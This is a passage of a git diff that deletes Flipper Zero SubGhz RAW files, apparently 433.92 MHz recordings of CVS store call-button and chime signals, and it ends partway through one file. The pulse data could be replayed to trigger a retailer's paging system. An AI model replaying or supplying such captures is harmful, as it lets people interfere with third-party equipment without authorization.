a/assets/resources/subghz/Stores/CVS/Dental_Care.sub b/assets/resources/subghz/Stores/CVS/Dental_Care.sub deleted file mode 100644 index 02cb7046e..000000000 --- a/assets/resources/subghz/Stores/CVS/Dental_Care.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1556 -1512 796 -744 1560 -1512 832 -736 1548 -744 1584 -736 1548 -740 1588 -740 1548 -740 1588 -736 1548 -740 1588 -740 1548 -740 1584 -744 1544 -736 1592 -740 1544 -740 1588 -744 1544 -740 1588 -740 1544 -740 1588 -740 1544 -744 1588 -1504 788 -736 1584 -1508 780 -736 1592 -1500 784 -740 1588 -1504 784 -744 1580 -1504 788 -736 1580 -1504 788 -1500 828 -1500 792 -736 1588 -1508 780 -736 1584 -4588 788 -752 1556 -1516 788 -748 1560 -1512 832 -740 1548 -736 1592 -740 1548 -740 1584 -740 1552 -740 1584 -740 1552 -740 1584 -740 1548 -740 1588 -744 1544 -744 1588 -736 1548 -740 1592 -740 1548 -740 1588 -736 1556 -740 1584 -740 1552 -736 1592 -1500 788 -736 1588 -1504 784 -744 1588 -1500 788 -740 1584 -1500 788 -740 1588 -1504 780 -736 1584 -1508 780 -1504 832 -1500 792 -736 1588 -1500 788 -736 1584 -4592 788 -752 1556 -1516 792 -744 1560 -1512 832 -744 1548 -740 1584 -740 1552 -740 1588 -736 1552 -740 1588 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -740 1588 -740 1552 -740 1584 -740 1552 -744 1580 -740 1552 -740 1588 -740 1548 -740 1596 -1500 784 -744 1584 -1500 792 -740 1584 -1508 780 -740 1592 -1500 784 -740 1588 -1500 788 -744 1580 -1500 788 -1504 832 -1500 784 -740 1588 -1500 792 -740 1580 -4588 792 -748 1564 -1512 788 -748 1564 -1512 832 -744 1544 -740 1592 -740 1548 -744 1580 -740 1552 -744 1584 -740 1552 -740 1584 -740 1548 -740 1592 -740 1544 -744 1588 -740 1552 -740 1584 -744 1548 -740 1584 -740 1552 -744 1584 -740 1548 -740 1596 -1500 784 -744 1584 -1504 788 -744 1584 -1504 784 -740 1592 -1500 784 -740 1588 -1500 788 -744 1576 -1504 788 -1504 828 -1500 788 -740 1588 -1504 784 -744 1580 -4584 792 -744 1560 -1516 792 -748 1556 -1512 836 -740 1548 -744 1584 -740 1552 -740 1584 -744 1544 -740 1592 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -740 1552 -740 1584 -736 1556 -740 1584 -740 1548 -740 1588 -740 1548 -744 1588 -1504 784 -740 1588 -1508 780 -740 1588 -1500 788 -744 1584 -1508 784 -736 1592 -1504 784 -740 1584 -1504 784 -1504 828 -1504 784 -740 1588 -1504 784 -740 1580 -4592 788 -748 1560 -1516 788 -744 1560 -1516 832 -740 1548 -740 1588 -740 1548 -744 1580 -740 1552 -744 1584 -740 1552 -736 1588 -744 1544 -744 1584 -744 1544 -744 1588 -740 1544 -740 1592 -740 1548 -740 1588 -740 1548 -740 1588 -740 1552 -740 1588 -1504 784 -740 1588 -1508 780 -740 1588 -1504 788 -740 1588 -1500 788 -740 1588 -1508 780 -736 1588 -1504 780 -1504 828 -1504 788 -744 1576 -1512 780 -744 1580 -4588 792 -748 1560 -1512 792 -744 1564 -1516 -RAW_Data: 828 -744 1544 -740 1592 -736 1548 -740 1588 -740 1548 -740 1588 -740 1552 -744 1580 -740 1556 -736 1588 -740 1552 -740 1588 -740 1544 -740 1592 -744 1544 -740 1588 -740 1556 -740 1584 -740 1552 -740 1592 -1504 784 -740 1588 -1504 784 -744 1584 -1504 784 -744 1580 -1512 780 -740 1588 -1504 784 -740 1584 -1504 784 -1508 828 -1504 784 -736 1592 -1504 788 -740 1580 -4592 788 -744 1564 -1512 792 -744 1564 -1512 832 -736 1556 -736 1588 -744 1548 -744 1584 -740 1548 -740 1592 -740 1544 -744 1584 -744 1548 -744 1584 -740 1548 -744 1588 -744 1544 -740 1592 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -740 1596 -1500 784 -740 1588 -1504 788 -736 1588 -1504 788 -736 1588 -1508 780 -740 1592 -1504 784 -744 1580 -1500 792 -1500 832 -1504 788 -736 1588 -1504 788 -740 1580 -4596 792 -744 1560 -1520 792 -744 1564 -1516 828 -744 1548 -740 1588 -744 1548 -744 1584 -740 1556 -736 1588 -744 1548 -740 1588 -740 1552 -744 1584 -740 1552 -744 1584 -740 1548 -744 1588 -740 1548 -740 1592 -736 1556 -740 1588 -736 1556 -740 1592 -1504 784 -740 1588 -1504 788 -740 1588 -1504 784 -740 1588 -1504 788 -744 1580 -1512 780 -740 1584 -1504 788 -1504 828 -1508 780 -744 1588 -1504 784 -744 1580 -4588 792 -744 1564 -1516 788 -752 1560 -1516 832 -740 1544 -740 1592 -740 1552 -736 1588 -740 1552 -744 1588 -744 1548 -740 1588 -740 1556 -740 1584 -740 1552 -740 1588 -748 1544 -744 1584 -748 1548 -740 1592 -736 1548 -744 1588 -740 1552 -744 1588 -1508 784 -744 1584 -1504 792 -736 1588 -1508 784 -740 1588 -1508 788 -740 1584 -1508 784 -740 1584 -1504 784 -1508 824 -1508 784 -736 1592 -1504 788 -740 1564 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Deodorants.sub b/assets/resources/subghz/Stores/CVS/Deodorants.sub deleted file mode 100644 index c74546e5b..000000000 --- a/assets/resources/subghz/Stores/CVS/Deodorants.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1556 -1512 796 -748 1552 -1512 832 -740 1548 -736 1588 -740 1544 -740 1588 -740 1552 -736 1588 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -744 1588 -736 1548 -740 1584 -740 1548 -740 1584 -740 1548 -744 1588 -740 1548 -740 1584 -1504 784 -1500 824 -1504 784 -1504 824 -1504 784 -1500 820 -1504 784 -1504 824 -1500 784 -1500 824 -1500 784 -1504 832 -1504 784 -740 1584 -1504 784 -740 1580 -4592 792 -740 1564 -1516 792 -744 1560 -1512 832 -744 1548 -736 1588 -740 1548 -740 1584 -744 1548 -744 1584 -740 1548 -740 1584 -744 1552 -736 1588 -740 1548 -740 1584 -740 1548 -736 1588 -744 1544 -744 1588 -740 1548 -740 1584 -744 1548 -740 1584 -1504 784 -1500 828 -1500 784 -1504 824 -1500 788 -1500 824 -1500 788 -1504 824 -1496 788 -1504 824 -1500 788 -1500 828 -1508 784 -740 1584 -1504 784 -740 1580 -4588 788 -752 1556 -1512 792 -748 1560 -1520 824 -744 1548 -736 1588 -744 1544 -740 1588 -740 1552 -740 1584 -744 1548 -732 1592 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -740 1588 -740 1548 -740 1588 -740 1552 -736 1588 -736 1552 -740 1584 -1504 788 -1500 824 -1504 784 -1504 820 -1504 784 -1504 824 -1504 784 -1500 824 -1504 784 -1504 824 -1500 784 -1504 828 -1500 788 -740 1584 -1504 788 -736 1588 -4584 792 -744 1564 -1508 796 -744 1564 -1508 836 -740 1548 -740 1588 -736 1548 -740 1588 -740 1548 -740 1588 -740 1552 -740 1584 -744 1548 -736 1592 -736 1552 -740 1584 -740 1548 -740 1584 -740 1548 -744 1584 -740 1548 -744 1588 -740 1548 -744 1584 -1500 788 -1504 824 -1504 784 -1500 824 -1504 784 -1504 820 -1508 784 -1500 824 -1504 788 -1496 828 -1504 784 -1504 824 -1504 784 -740 1588 -1504 780 -744 1576 -4584 792 -748 1556 -1520 784 -744 1564 -1516 828 -740 1548 -740 1588 -736 1548 -736 1588 -740 1548 -740 1584 -744 1548 -744 1584 -740 1544 -740 1588 -736 1552 -736 1588 -740 1548 -740 1588 -744 1544 -744 1584 -744 1544 -740 1588 -736 1552 -736 1588 -1504 784 -1500 824 -1504 784 -1504 820 -1504 784 -1504 824 -1500 788 -1504 820 -1504 784 -1500 824 -1504 784 -1504 828 -1504 780 -740 1588 -1504 784 -736 1584 -4592 784 -748 1560 -1520 788 -744 1560 -1512 836 -736 1548 -744 1584 -740 1548 -740 1588 -740 1548 -736 1592 -736 1552 -736 1588 -744 1544 -740 1592 -740 1548 -740 1588 -744 1544 -744 1584 -744 1548 -740 1584 -740 1548 -740 1588 -736 1552 -740 1588 -1500 788 -1504 820 -1504 788 -1504 820 -1508 784 -1504 824 -1504 788 -1504 820 -1504 784 -1504 820 -1504 784 -1504 824 -1508 784 -740 1588 -1504 784 -736 1584 -4588 788 -752 1556 -1516 788 -748 1560 -1516 -RAW_Data: 824 -748 1544 -744 1584 -740 1548 -744 1584 -744 1548 -740 1588 -740 1548 -744 1584 -740 1548 -744 1580 -744 1548 -740 1584 -740 1548 -740 1588 -736 1552 -740 1584 -744 1548 -740 1584 -744 1548 -740 1580 -1508 780 -1504 824 -1500 784 -1508 820 -1504 784 -1504 820 -1504 784 -1500 824 -1504 784 -1508 820 -1504 784 -1504 828 -1504 780 -744 1584 -1504 784 -740 1584 -4592 788 -744 1560 -1520 784 -748 1564 -1512 832 -744 1544 -740 1588 -744 1544 -740 1588 -744 1548 -736 1588 -740 1548 -740 1584 -740 1548 -740 1588 -736 1552 -740 1584 -744 1548 -740 1588 -744 1544 -744 1584 -744 1552 -740 1584 -740 1548 -740 1584 -1500 788 -1500 828 -1500 784 -1504 820 -1504 784 -1504 820 -1508 784 -1504 824 -1504 784 -1500 824 -1508 780 -1508 824 -1504 784 -740 1584 -1508 780 -744 1580 -4592 784 -748 1560 -1516 788 -744 1560 -1512 832 -736 1552 -740 1584 -744 1544 -740 1588 -740 1552 -736 1588 -736 1552 -740 1588 -740 1548 -740 1588 -744 1544 -744 1584 -744 1544 -740 1588 -740 1552 -736 1588 -744 1548 -740 1584 -748 1548 -736 1588 -1500 788 -1500 824 -1504 784 -1508 820 -1504 784 -1500 828 -1500 780 -1508 820 -1504 784 -1504 816 -1512 780 -1504 828 -1500 788 -740 1588 -1500 784 -744 1580 -4580 796 -744 1564 -1516 784 -748 1560 -1516 832 -740 1548 -736 1592 -736 1548 -744 1584 -740 1548 -740 1588 -740 1548 -736 1592 -740 1548 -744 1580 -744 1548 -740 1588 -740 1548 -740 1588 -736 1552 -740 1584 -744 1544 -744 1584 -744 1544 -740 1584 -1508 780 -1508 820 -1504 784 -1500 828 -1500 784 -1504 824 -1504 784 -1504 824 -1504 784 -1504 824 -1504 784 -1508 824 -1504 784 -740 1588 -1504 784 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Diet_and_Nutrition_Department.sub b/assets/resources/subghz/Stores/CVS/Diet_and_Nutrition_Department.sub deleted file mode 100644 index 270a3909f..000000000 --- a/assets/resources/subghz/Stores/CVS/Diet_and_Nutrition_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1560 -1516 788 -744 1560 -1512 832 -740 1544 -740 1584 -740 1552 -736 1584 -744 1540 -744 1584 -740 1548 -740 1588 -736 1544 -744 1588 -740 1544 -740 1588 -740 1548 -740 1588 -736 1548 -740 1588 -744 1544 -740 1588 -740 1548 -744 1584 -1504 780 -1508 820 -1504 784 -1500 828 -1500 788 -740 1580 -1508 784 -1500 832 -1504 780 -744 1584 -1508 784 -736 1584 -1508 784 -736 1588 -1504 784 -736 1584 -4588 788 -752 1556 -1516 788 -752 1556 -1512 832 -740 1548 -740 1588 -744 1544 -740 1584 -744 1548 -744 1584 -740 1552 -740 1584 -744 1544 -748 1580 -744 1548 -740 1584 -744 1548 -740 1584 -748 1548 -736 1588 -744 1548 -736 1588 -740 1548 -740 1584 -1508 784 -1500 820 -1508 784 -1504 828 -1500 784 -744 1584 -1504 780 -1504 828 -1504 788 -740 1584 -1504 788 -736 1584 -1508 784 -740 1588 -1500 788 -740 1576 -4592 788 -752 1556 -1512 792 -752 1560 -1512 828 -744 1548 -740 1588 -744 1548 -740 1584 -740 1552 -740 1584 -744 1548 -740 1588 -744 1548 -736 1588 -740 1548 -744 1584 -744 1544 -744 1588 -740 1548 -744 1584 -736 1548 -748 1584 -740 1548 -744 1584 -1500 784 -1504 824 -1508 780 -1504 828 -1508 784 -740 1580 -1504 788 -1500 828 -1504 784 -744 1588 -1504 784 -744 1584 -1504 784 -744 1584 -1508 780 -744 1576 -4592 788 -748 1556 -1520 788 -744 1560 -1520 824 -744 1544 -744 1584 -740 1552 -744 1584 -740 1548 -744 1584 -740 1548 -744 1584 -740 1544 -748 1580 -740 1548 -744 1584 -740 1548 -744 1588 -740 1548 -744 1584 -736 1548 -744 1584 -740 1544 -748 1580 -1508 780 -1504 824 -1504 780 -1504 828 -1508 780 -744 1576 -1508 784 -1504 820 -1508 784 -740 1588 -1504 784 -744 1584 -1504 780 -744 1584 -1508 776 -748 1576 -4592 784 -752 1560 -1512 792 -748 1556 -1516 828 -744 1540 -744 1588 -740 1548 -744 1584 -736 1548 -744 1588 -740 1548 -736 1588 -740 1552 -736 1588 -740 1548 -740 1588 -740 1544 -744 1588 -740 1548 -736 1592 -740 1548 -740 1588 -736 1552 -744 1580 -1508 780 -1508 820 -1508 780 -1504 824 -1508 784 -740 1580 -1504 784 -1500 828 -1504 788 -740 1584 -1504 784 -740 1584 -1504 788 -740 1580 -1508 788 -736 1580 -4588 788 -748 1556 -1516 792 -744 1560 -1516 824 -748 1544 -740 1584 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -744 1580 -740 1548 -740 1584 -748 1544 -744 1580 -744 1544 -740 1588 -736 1548 -748 1588 -736 1548 -748 1584 -736 1552 -744 1580 -1504 784 -1508 820 -1504 784 -1504 828 -1500 788 -740 1580 -1504 784 -1500 832 -1508 780 -740 1584 -1504 788 -740 1584 -1504 788 -736 1592 -1500 788 -736 1584 -4588 792 -748 1556 -1516 788 -748 1556 -1520 -RAW_Data: 828 -740 1544 -748 1584 -740 1548 -740 1584 -740 1548 -740 1584 -748 1548 -740 1580 -744 1548 -744 1580 -744 1544 -744 1584 -740 1548 -744 1584 -740 1548 -740 1584 -748 1544 -736 1588 -744 1548 -744 1580 -1504 784 -1500 824 -1504 784 -1504 828 -1504 784 -740 1580 -1504 788 -1504 824 -1508 780 -740 1588 -1504 784 -736 1592 -1500 784 -744 1580 -1504 784 -740 1584 -4584 788 -748 1560 -1516 788 -748 1556 -1516 828 -744 1544 -740 1584 -744 1544 -744 1584 -740 1548 -744 1584 -740 1544 -748 1580 -744 1544 -744 1584 -744 1544 -736 1588 -744 1544 -744 1584 -736 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1584 -1504 788 -1504 816 -1504 788 -1504 824 -1508 780 -740 1580 -1504 788 -1504 824 -1508 780 -744 1584 -1508 776 -744 1588 -1504 784 -744 1584 -1504 784 -744 1580 -4588 788 -748 1556 -1516 788 -748 1564 -1512 832 -744 1548 -736 1588 -740 1548 -740 1588 -736 1548 -744 1588 -740 1544 -748 1584 -740 1544 -748 1580 -744 1544 -744 1584 -744 1544 -740 1584 -744 1552 -736 1588 -740 1548 -744 1584 -740 1544 -748 1580 -1504 780 -1512 820 -1500 784 -1504 828 -1508 780 -744 1584 -1504 780 -1504 828 -1504 788 -736 1588 -1504 788 -736 1584 -1508 784 -736 1588 -1504 780 -744 1580 -4584 792 -744 1560 -1516 788 -748 1556 -1516 828 -744 1544 -748 1580 -740 1552 -744 1580 -740 1548 -748 1588 -736 1548 -744 1584 -744 1544 -736 1584 -748 1544 -744 1584 -744 1544 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1588 -1504 784 -1504 824 -1504 780 -1508 828 -1504 784 -744 1580 -1500 784 -1504 828 -1504 788 -736 1588 -1504 784 -740 1588 -1504 788 -740 1584 -1504 784 -744 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Ding_1.sub b/assets/resources/subghz/Stores/CVS/Ding_1.sub deleted file mode 100644 index fb10a95a7..000000000 --- a/assets/resources/subghz/Stores/CVS/Ding_1.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1552 -1512 792 -748 1556 -1516 824 -740 1548 -740 1584 -736 1552 -740 1584 -744 1544 -740 1588 -732 1552 -740 1580 -748 1544 -736 1592 -736 1548 -736 1584 -744 1544 -740 1584 -740 1548 -740 1584 -744 1544 -744 1584 -736 1548 -740 1584 -1504 784 -1504 824 -1504 780 -744 1584 -1504 784 -736 1588 -1500 784 -740 1588 -1504 784 -740 1580 -1508 780 -740 1584 -1504 784 -740 1584 -1500 788 -736 1584 -4584 788 -748 1560 -1512 788 -744 1560 -1512 832 -740 1548 -736 1588 -740 1544 -744 1584 -740 1548 -736 1588 -744 1544 -740 1584 -740 1552 -732 1588 -744 1544 -740 1584 -740 1548 -740 1584 -744 1544 -744 1580 -740 1548 -740 1584 -740 1548 -744 1580 -1504 784 -1504 824 -1508 780 -740 1584 -1508 780 -740 1584 -1504 784 -736 1588 -1508 780 -740 1592 -1500 780 -744 1580 -1508 784 -736 1588 -1500 784 -744 1576 -4588 788 -748 1556 -1512 792 -744 1556 -1516 832 -736 1548 -736 1588 -740 1544 -744 1584 -736 1548 -736 1588 -740 1544 -744 1580 -740 1548 -740 1584 -736 1552 -736 1592 -736 1544 -744 1584 -740 1544 -740 1588 -736 1548 -740 1584 -744 1544 -740 1584 -1504 784 -1500 828 -1504 784 -736 1588 -1504 784 -740 1584 -1504 784 -736 1588 -1504 780 -740 1588 -1504 784 -740 1584 -1504 784 -736 1588 -1500 788 -740 1576 -4588 792 -744 1556 -1512 788 -748 1556 -1516 824 -740 1552 -736 1588 -740 1548 -740 1584 -736 1552 -740 1584 -736 1548 -744 1580 -740 1544 -740 1584 -740 1548 -736 1588 -740 1544 -744 1584 -740 1544 -740 1588 -740 1548 -740 1584 -744 1544 -740 1584 -1500 788 -1500 828 -1504 784 -736 1588 -1500 788 -740 1584 -1500 788 -736 1588 -1504 784 -736 1592 -1496 784 -740 1588 -1504 780 -740 1588 -1496 788 -744 1572 -4588 792 -740 1560 -1512 792 -744 1560 -1512 832 -736 1548 -744 1584 -740 1548 -736 1588 -736 1552 -740 1584 -744 1544 -740 1588 -736 1548 -744 1584 -740 1544 -740 1592 -732 1552 -740 1584 -744 1544 -740 1588 -740 1548 -740 1584 -740 1548 -744 1584 -1500 784 -1500 832 -1504 784 -744 1580 -1504 784 -736 1592 -1496 788 -740 1584 -1504 788 -740 1580 -1508 784 -740 1588 -1496 788 -744 1580 -1504 788 -736 1584 -4584 788 -744 1564 -1508 792 -744 1564 -1512 836 -740 1544 -740 1588 -736 1552 -736 1588 -744 1544 -740 1592 -732 1552 -744 1580 -740 1548 -740 1588 -740 1548 -740 1588 -736 1556 -736 1588 -740 1544 -744 1588 -736 1552 -744 1580 -744 1552 -732 1588 -1500 788 -1508 824 -1500 788 -740 1588 -1500 784 -744 1584 -1504 784 -736 1592 -1504 780 -744 1588 -1500 784 -740 1584 -1508 784 -736 1588 -1496 788 -744 1576 -4588 792 -744 1560 -1512 792 -744 1564 -1516 -RAW_Data: 828 -740 1548 -744 1580 -740 1552 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -736 1552 -744 1584 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -744 1544 -744 1584 -744 1544 -744 1584 -1500 788 -1500 832 -1500 784 -744 1584 -1504 784 -740 1592 -1500 784 -740 1588 -1504 784 -740 1588 -1504 784 -740 1588 -1500 784 -748 1584 -1500 788 -740 1580 -4588 792 -744 1560 -1516 792 -748 1556 -1512 836 -744 1548 -736 1588 -740 1548 -744 1588 -736 1548 -740 1588 -740 1548 -740 1588 -740 1548 -736 1588 -744 1552 -736 1584 -744 1548 -740 1584 -748 1548 -736 1588 -740 1548 -736 1592 -740 1548 -736 1588 -1504 784 -1504 832 -1504 780 -744 1584 -1508 780 -744 1584 -1504 784 -744 1584 -1504 780 -744 1584 -1504 780 -744 1588 -1504 780 -744 1584 -1504 784 -744 1576 -4588 788 -748 1556 -1516 792 -748 1556 -1520 828 -740 1548 -740 1588 -744 1548 -736 1588 -740 1548 -740 1588 -736 1548 -740 1588 -740 1552 -736 1588 -740 1548 -744 1584 -744 1548 -736 1588 -740 1548 -740 1588 -740 1544 -744 1588 -740 1548 -740 1584 -1504 788 -1496 832 -1504 784 -736 1592 -1500 788 -736 1592 -1504 780 -740 1588 -1504 784 -740 1588 -1504 784 -740 1588 -1504 784 -740 1588 -1500 792 -736 1580 -4588 796 -744 1564 -1512 788 -748 1556 -1516 832 -740 1548 -740 1588 -740 1548 -736 1588 -740 1548 -744 1584 -740 1548 -740 1588 -744 1544 -740 1588 -744 1544 -740 1588 -740 1552 -740 1584 -740 1552 -736 1592 -740 1544 -740 1592 -736 1552 -736 1588 -1500 788 -1504 828 -1504 784 -740 1588 -1504 784 -744 1588 -1500 784 -748 1580 -1508 784 -736 1592 -1504 784 -744 1584 -1500 784 -744 1584 -1504 784 -740 1564 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Electric_Razors.sub b/assets/resources/subghz/Stores/CVS/Electric_Razors.sub deleted file mode 100644 index 2fc7cb505..000000000 --- a/assets/resources/subghz/Stores/CVS/Electric_Razors.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1556 -1512 792 -744 1560 -1512 828 -740 1544 -744 1584 -744 1540 -740 1588 -736 1552 -736 1588 -740 1544 -744 1584 -740 1548 -740 1584 -744 1544 -744 1584 -740 1552 -736 1588 -740 1548 -744 1584 -740 1552 -736 1588 -740 1548 -744 1580 -1504 784 -1504 824 -1504 784 -1504 824 -1508 780 -740 1580 -1504 784 -1504 824 -1504 780 -1508 824 -1504 784 -740 1588 -1500 784 -744 1584 -1504 784 -740 1580 -4588 788 -748 1556 -1512 792 -744 1564 -1512 828 -740 1548 -744 1580 -744 1544 -744 1584 -740 1548 -740 1584 -740 1548 -744 1580 -744 1544 -744 1580 -740 1548 -740 1584 -744 1544 -744 1588 -732 1548 -748 1580 -744 1544 -740 1588 -740 1548 -740 1584 -1504 780 -1504 820 -1504 784 -1500 828 -1504 784 -740 1580 -1504 780 -1504 824 -1500 788 -1500 828 -1500 784 -740 1584 -1504 784 -744 1580 -1504 788 -736 1580 -4592 788 -748 1556 -1512 792 -744 1560 -1516 828 -740 1548 -740 1584 -740 1548 -736 1588 -744 1540 -744 1584 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -744 1584 -744 1544 -740 1588 -740 1548 -740 1584 -736 1552 -740 1584 -744 1548 -736 1588 -1504 784 -1500 824 -1508 780 -1504 824 -1504 788 -740 1580 -1504 780 -1504 824 -1504 784 -1508 824 -1500 788 -736 1588 -1504 784 -740 1584 -1504 784 -740 1580 -4584 792 -744 1552 -1516 792 -752 1552 -1516 828 -744 1544 -744 1584 -740 1544 -740 1584 -744 1548 -736 1588 -740 1544 -744 1584 -740 1552 -736 1584 -748 1540 -744 1584 -736 1552 -744 1584 -740 1548 -740 1588 -736 1552 -740 1584 -744 1548 -732 1588 -1508 780 -1500 824 -1504 784 -1508 828 -1500 784 -736 1584 -1500 788 -1504 824 -1500 788 -1504 824 -1504 784 -740 1584 -1508 780 -744 1584 -1504 784 -740 1580 -4592 788 -748 1560 -1512 792 -744 1564 -1516 828 -740 1548 -740 1588 -744 1544 -740 1584 -748 1544 -740 1588 -740 1552 -736 1588 -740 1548 -740 1588 -740 1544 -744 1584 -744 1544 -744 1588 -736 1552 -740 1584 -748 1544 -740 1588 -740 1548 -740 1580 -1508 788 -1500 824 -1504 780 -1504 828 -1504 784 -740 1584 -1500 788 -1500 824 -1508 784 -1504 824 -1504 784 -740 1588 -1508 776 -748 1584 -1504 784 -740 1580 -4588 792 -748 1560 -1516 788 -748 1556 -1516 828 -748 1540 -744 1592 -736 1552 -736 1588 -744 1544 -744 1584 -744 1544 -740 1588 -740 1544 -748 1584 -736 1552 -744 1580 -740 1552 -740 1588 -736 1548 -740 1588 -744 1544 -736 1592 -736 1548 -744 1584 -1504 784 -1504 820 -1508 780 -1504 828 -1508 780 -744 1580 -1504 784 -1504 820 -1508 780 -1504 828 -1504 784 -740 1588 -1500 788 -744 1584 -1504 784 -736 1584 -4592 788 -748 1556 -1516 788 -748 1560 -1520 -RAW_Data: 828 -740 1548 -740 1584 -744 1548 -740 1588 -740 1548 -740 1584 -744 1548 -740 1588 -736 1548 -744 1584 -740 1552 -740 1588 -740 1548 -740 1584 -748 1540 -744 1592 -732 1552 -740 1588 -740 1548 -740 1588 -1504 780 -1504 820 -1504 788 -1500 828 -1504 784 -736 1580 -1508 784 -1504 824 -1500 784 -1504 828 -1500 784 -740 1588 -1500 784 -744 1584 -1500 788 -736 1584 -4584 792 -744 1556 -1516 792 -748 1560 -1516 824 -748 1544 -740 1588 -740 1552 -736 1588 -740 1548 -744 1584 -744 1544 -740 1588 -740 1548 -744 1584 -744 1544 -744 1588 -736 1548 -744 1584 -740 1552 -736 1584 -744 1548 -740 1588 -736 1552 -740 1580 -1504 788 -1504 824 -1500 788 -1504 828 -1504 788 -740 1580 -1508 780 -1504 824 -1504 780 -1508 828 -1500 788 -744 1584 -1504 784 -736 1588 -1504 780 -744 1584 -4584 788 -752 1556 -1516 788 -744 1560 -1516 832 -740 1548 -740 1588 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -744 1584 -744 1548 -744 1584 -740 1552 -736 1588 -744 1544 -744 1584 -740 1552 -736 1588 -740 1548 -740 1588 -740 1548 -740 1588 -1500 784 -1508 824 -1500 784 -1504 828 -1504 788 -732 1584 -1504 784 -1504 824 -1500 788 -1500 828 -1508 780 -740 1588 -1504 784 -744 1584 -1504 784 -744 1580 -4588 792 -748 1560 -1516 788 -744 1564 -1512 832 -740 1548 -744 1588 -732 1552 -740 1588 -740 1548 -744 1584 -740 1548 -740 1584 -744 1548 -740 1588 -736 1552 -744 1580 -744 1548 -744 1584 -736 1552 -740 1588 -744 1544 -744 1584 -736 1552 -740 1588 -1500 784 -1504 824 -1504 784 -1508 824 -1504 780 -740 1584 -1504 784 -1500 828 -1504 784 -1504 824 -1508 780 -740 1592 -1504 780 -740 1588 -1504 784 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Electronics.sub b/assets/resources/subghz/Stores/CVS/Electronics.sub deleted file mode 100644 index c761bd166..000000000 --- a/assets/resources/subghz/Stores/CVS/Electronics.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -744 1564 -1512 792 -744 1560 -1516 832 -736 1548 -740 1584 -744 1544 -744 1584 -740 1544 -740 1588 -740 1548 -740 1588 -740 1548 -736 1588 -740 1552 -740 1584 -740 1548 -740 1588 -744 1544 -740 1584 -744 1544 -740 1588 -740 1548 -740 1588 -1504 784 -740 1588 -1500 788 -740 1584 -1508 780 -740 1584 -1500 788 -1500 824 -1504 784 -740 1584 -1496 788 -1500 828 -1500 788 -740 1584 -1504 784 -736 1580 -4588 788 -748 1552 -1516 792 -748 1560 -1516 824 -744 1544 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -740 1544 -736 1588 -744 1544 -744 1580 -740 1548 -744 1584 -744 1540 -748 1580 -744 1548 -740 1584 -744 1544 -740 1592 -736 1548 -740 1584 -1512 780 -740 1588 -1500 788 -740 1584 -1504 784 -744 1580 -1500 784 -1504 828 -1504 780 -744 1580 -1500 784 -1508 824 -1504 784 -744 1584 -1508 780 -744 1580 -4592 788 -744 1560 -1516 788 -752 1556 -1512 832 -740 1552 -740 1584 -744 1544 -744 1588 -740 1548 -744 1580 -748 1544 -740 1588 -740 1548 -744 1584 -744 1544 -736 1592 -740 1548 -744 1584 -736 1552 -740 1588 -744 1544 -744 1584 -740 1552 -740 1588 -1504 788 -740 1584 -1508 780 -740 1588 -1500 788 -744 1576 -1508 784 -1500 832 -1504 784 -740 1580 -1508 780 -1504 828 -1504 784 -740 1588 -1508 780 -744 1576 -4592 792 -744 1560 -1516 792 -744 1560 -1516 828 -744 1548 -736 1592 -736 1552 -744 1584 -744 1544 -740 1592 -736 1548 -744 1584 -744 1548 -736 1592 -740 1548 -744 1580 -740 1552 -740 1588 -744 1544 -744 1584 -740 1548 -740 1588 -744 1544 -740 1592 -1508 780 -740 1588 -1504 784 -744 1584 -1504 784 -736 1584 -1504 784 -1508 824 -1508 780 -740 1584 -1504 784 -1504 828 -1504 784 -744 1584 -1504 784 -740 1576 -4596 792 -744 1560 -1512 796 -744 1564 -1516 824 -744 1544 -740 1588 -740 1552 -740 1584 -740 1548 -740 1592 -740 1548 -740 1584 -740 1548 -744 1580 -744 1548 -736 1588 -744 1544 -744 1584 -740 1548 -740 1584 -744 1548 -740 1588 -744 1540 -748 1584 -1508 784 -740 1588 -1500 788 -744 1580 -1508 784 -736 1584 -1504 784 -1504 824 -1508 780 -740 1584 -1504 784 -1504 828 -1504 784 -736 1588 -1504 788 -740 1580 -4592 788 -748 1560 -1512 792 -744 1560 -1516 